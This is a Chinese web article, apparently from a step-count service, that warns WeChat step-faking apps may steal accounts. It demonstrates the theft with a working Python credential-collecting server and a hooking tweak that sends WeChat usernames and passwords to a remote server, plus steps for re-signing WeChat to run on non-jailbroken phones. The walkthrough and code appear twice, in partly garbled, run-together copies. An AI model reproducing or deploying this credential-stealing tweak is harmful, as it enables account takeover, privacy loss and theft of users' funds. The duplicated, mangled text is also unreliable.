【微信号被封】使用了微信运动刷步系统为何会这样?

 

      最近有些用户说起微信运动刷步系统,大家都因为各种各样的原因需要使用微信刷步数,特别是一些每天都需要被公司考核步数的外勤工作人员,但是用着用着怎么微信号就被封了,还经常收到各种诈骗电话和短信,微信钱包里得钱在超过一定数额后就莫名"失踪"呢?带着这些疑问,我们来带大家一探究竟:

QQ图片20181104131942_副本.jpg

       很显然很多人使用这个刷步系统却不知道其中可能存在的风险,这个微信刷步系统无非就是通过load command动态库注入hook函数进行篡改,虽然你的手机没有越狱,但是使用了微信运动刷步系统后,你所用微信的所有信息都暴露在别人的面前了。包括获取你的微信账号密码,聊天记录等等,所有的信息,在达到一定数量之后会以每条1分的价格被打包转卖给各种诈骗集团,他们会给你和你的家人打电话,利用他们在系统中获知的信息套取你家人的信任以达到诈骗钱财的目的,而且使用了这个系统还容易被腾讯检测封号,并且当你微信中的资金达到一定数额后,还有可能会被神不知鬼不觉的转走.

QQ图片20181104132008_副本.jpg

QQ图片20181104132001_副2.jpg


首先进入微信登录界面,查看ViewController的继承关系:
[[[UIWindow keyWindow] rootViewController] _printHierarchy]
, state: appeared, view:
|, state: appeared, view:
可以得到当前的ViewController为WCAccountLoginLastUserViewController,跟踪该类。然后点击登录按钮,可以看到调用onNext方法。使用IDA进入里面分析,可以得知是WCAccountLoginControlLogic类来负责处理具体的登录逻辑。跟踪WCAccountLoginControlLogic可以发现登录的时候调用了
– (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{}
其中传的参数就是微信的账号和密码,现在演示一下如何拦截微信账号密码,并发送到指定服务器。
既然需要一个服务器来接受传输的数据,那么就使用python的BaseHTTPRequestHandler来搭建一个简单的服务器。
#!/usr/bin/env python
# -*- conding:utf-8 -*-
from BaseHTTPServerimport BaseHTTPRequestHandler,HTTPServer
from urlparse import urlparse,parse_qs
DEFAULT_HOST= ''
DEFAULT_PORT= 8080
classRequestHandler(BaseHTTPRequestHandler):
defdo_GET(self):
params=parse_qs(urlparse(self.path).query)
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
#获取账号密码
fread= open('./pwd.log','r')
lines= fread.readlines();
#每隔2秒刷新一次
content= ''
for line inlines:
content= content+line+'
'
# Send the message to browser
self.wfile.write(content)
return
def do_POST(self):
params=parse_qs(urlparse(self.path).query)
#保存账号密码
fwrite= open('./pwd.log','a+')
fwrite.write("username=%sn"% params['name'][0])
fwrite.write("pwd=%sn"% params['pwd'][0])
fwrite.close()
self.send_response(200)
self.end_headers()
return
def run_server():
try:
server_address=(DEFAULT_HOST,DEFAULT_PORT)
server= HTTPServer(server_address,RequestHandler)
print"HTTP server started on port: %s"% DEFAULT_PORT
server.serve_forever()
except Exception,err:
print"Error:%s"%err
exceptKeyboardInterrupt:
print"Server interrupted and is shutting down..."
server.socket.close()
if__name__== "__main__":
run_server()
好了,一个简单的服务器搭建好了,post用来接受从微信传过来的账号和密码信息并保存到本地文件,然后通过get不断去请求刷新获取的账号密码。
编写tweak拦截账号密码,并发送到刚刚搭建的服务器上:
%hookWCAccountLoginControlLogic
- (void)onLastUserLoginUserName:(NSString*)namePwd:(NSString*)pwd{
%log;
NSMutableURLRequest*request=[NSMutableURLRequestrequestWithURL:[NSURLURLWithString:[NSStringstringWithFormat:@"http://192.168.1.100:8080?name=%@&pwd=%@",name,pwd]]];
[requestsetTimeoutInterval:30];
[requestsetHTTPMethod:@"POST"];
[NSURLConnectionsendAsynchronousRequest:requestqueue:[NSOperationQueuemainQueue]
completionHandler:^(NSURLResponse*respone,
NSData*data,
NSError*error)
{
NSHTTPURLResponse* httpResponse= (NSHTTPURLResponse*)respone;
if(httpResponse.statusCode== 200){
NSLog(@"send pwd success!");
}
}];
}
%end
重签名微信,生成一个在非越狱机器上运行的微信运动刷步系统:进入登录界面输入账号密码,每次输入账号密码就发把账号密码发送到为实验搭建的服务器上面,然后在浏览器输入http://localhost:8080/就能实时看到输入的账号密码是什么了。

QQ图片20181105003657_副本.jpg

 

 


下面【大众刷步】技术团队就从如何获取微信账号密码并传到指定服务器做一个简单的分析,看完这个后你会明白,你使用的微信运动刷步系统很可能就已经收集你的微信账号和密码。
首先进入微信登录界面,查看ViewController的继承关系:
[[[UIWindow keyWindow] rootViewController] _printHierarchy]
, state: appeared, view:
|, state: appeared, view:
可以得到当前的ViewController为WCAccountLoginLastUserViewController,跟踪该类。然后点击登录按钮,可以看到调用onNext方法。使用IDA进入里面分析,可以得知是WCAccountLoginControlLogic类来负责处理具体的登录逻辑。跟踪WCAccountLoginControlLogic可以发现登录的时候调用了
– (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{}
其中传的参数就是微信的账号和密码,现在演示一下如何拦截微信账号密码,并发送到指定服务器。
既然需要一个服务器来接受传输的数据,那么就使用python的BaseHTTPRequestHandler来搭建一个简单的服务器。

#!/usr/bin/env python 
# -*- conding:utf-8 -*- from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer 
from urlparse import urlparse, parse_qsDEFAULT_HOST = '' 
DEFAULT_PORT = 8080 
class RequestHandler(BaseHTTPRequestHandler): 
def do_GET(self): 
params=parse_qs(urlparse(self.path).query) 
self.send_response(200) 
self.send_header('Content-type','text/html') 
self.end_headers() 
#获取账号密码 
fread = open('./pwd.log','r') 
lines = fread.readlines(); 
#每隔5秒刷新一次 
content = '' 
for line in lines: 
content = content+line+' 

# Send the message to browser 
self.wfile.write(content) 
returndef do_POST(self): 
params=parse_qs(urlparse(self.path).query) 
#保存账号密码 
fwrite = open('./pwd.log','a+') 
fwrite.write("username=%s/n" % params['name'][0]) 
fwrite.write("pwd=%s/n" % params['pwd'][0]) 
fwrite.close() 
self.send_response(200) 
self.end_headers() 
return 
def run_server(): 
try: 
server_address=(DEFAULT_HOST, DEFAULT_PORT) 
server= HTTPServer(server_address,RequestHandler) 
print "HTTP server started on port: %s" % DEFAULT_PORT 
server.serve_forever() 
except Exception, err: 
print "Error:%s" %err 
except KeyboardInterrupt: 
print "Server interrupted and is shutting down..." 
server.socket.close()if __name__ == "__main__": 
run_server() 
#!/usr/bin/env python # -*- conding:utf-8 -*- from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServerfrom urlparse import urlparse, parse_qsDEFAULT_HOST = ''DEFAULT_PORT = 8080class RequestHandler(BaseHTTPRequestHandler):def do_GET(self):params=parse_qs(urlparse(self.path).query)self.send_response(200)self.send_header('Content-type','text/html')self.end_headers()#获取账号密码fread = open('./pwd.log','r')lines = fread.readlines(); #每隔2秒刷新一次content = ''for line in lines:content = content+line+' 
'# Send the message to browserself.wfile.write(content)returndef do_POST(self):params=parse_qs(urlparse(self.path).query)#保存账号密码fwrite = open('./pwd.log','a+')fwrite.write("username=%s/n" % params['name'][0])fwrite.write("pwd=%s/n" % params['pwd'][0])fwrite.close()self.send_response(200)self.end_headers()returndef run_server():try:server_address=(DEFAULT_HOST, DEFAULT_PORT)server= HTTPServer(server_address,RequestHandler)print "HTTP server started on port: %s" % DEFAULT_PORTserver.serve_forever()except Exception, err:print "Error:%s" %errexcept KeyboardInterrupt:print "Server interrupted and is shutting down..."server.socket.close()if __name__ == "__main__":run_server()
好了,一个简单的服务器搭建好了,post用来接受从微信传过来的账号和密码信息并保存到本地文件,然后通过get不断去请求刷新获取的账号密码。
编写tweak拦截账号密码,并发送到刚刚搭建的服务器上:

%hook WCAccountLoginControlLogic- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{ 
%log;NSMutableURLRequest *request=[NSMutableURLRequest requestWithURL:[NSURL URLWithString:[NSString stringWithFormat:@"http://192.168.1.100:8080?name=%@&;pwd=%@",name,pwd]]];[request setTimeoutInterval:30];[request setHTTPMethod:@"POST"];[NSURLConnection sendAsynchronousRequest:request queue:[NSOperationQueue mainQueue] 
completionHandler:^(NSURLResponse *respone, 
NSData *data, 
NSError *error) 

NSHTTPURLResponse* httpResponse = (NSHTTPURLResponse*)respone; 
if(httpResponse.statusCode == 200){ 
NSLog(@"send pwd success!"); 

}]; 
}%end 
%hook WCAccountLoginControlLogic- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{%log;NSMutableURLRequest *request=[NSMutableURLRequest requestWithURL:[NSURL URLWithString:[NSString stringWithFormat:@"http://192.168.1.100:8080?name=%@&;pwd=%@",name,pwd]]];[request setTimeoutInterval:30];[request setHTTPMethod:@"POST"];[NSURLConnection sendAsynchronousRequest:request queue:[NSOperationQueue mainQueue]completionHandler:^(NSURLResponse *respone,NSData *data,NSError *error){ NSHTTPURLResponse* httpResponse = (NSHTTPURLResponse*)respone; if(httpResponse.statusCode == 200){ NSLog(@"send pwd success!"); } }];}%end
重签名微信,生成一个在非越狱机器上运行的微信运动刷步系统,这个已经在上一篇文章中讲过。进入登录界面输入账号密码,每次输入账号密码就发把账号密码发送到我们搭建的服务器上面,然后在浏览器输入http://localhost:8080/就能实时看到输入的账号密码是什么了。
上面只是一个简单的演示,当然实际的刷步系统不可能写的这么简单,一般都经过混淆和加密的,但是也就是说,一旦你使用了微信运动刷步系统,那么你微信上面所有的信息都可能被监控,导致隐私泄露和资金被盗。

★★★ 我们在微信运动刷步系统其中的dylib文件中发现了上传账号密码的代码 ★★★


QQ图片20181105003816_副本.jpg

所以即使你的手机没有越狱,也不要去使用这个微信运动刷步系统,微信运动步数被封 微信号被封事小,里面的资金被盗和家人的安全更会让你追悔莫及

手机版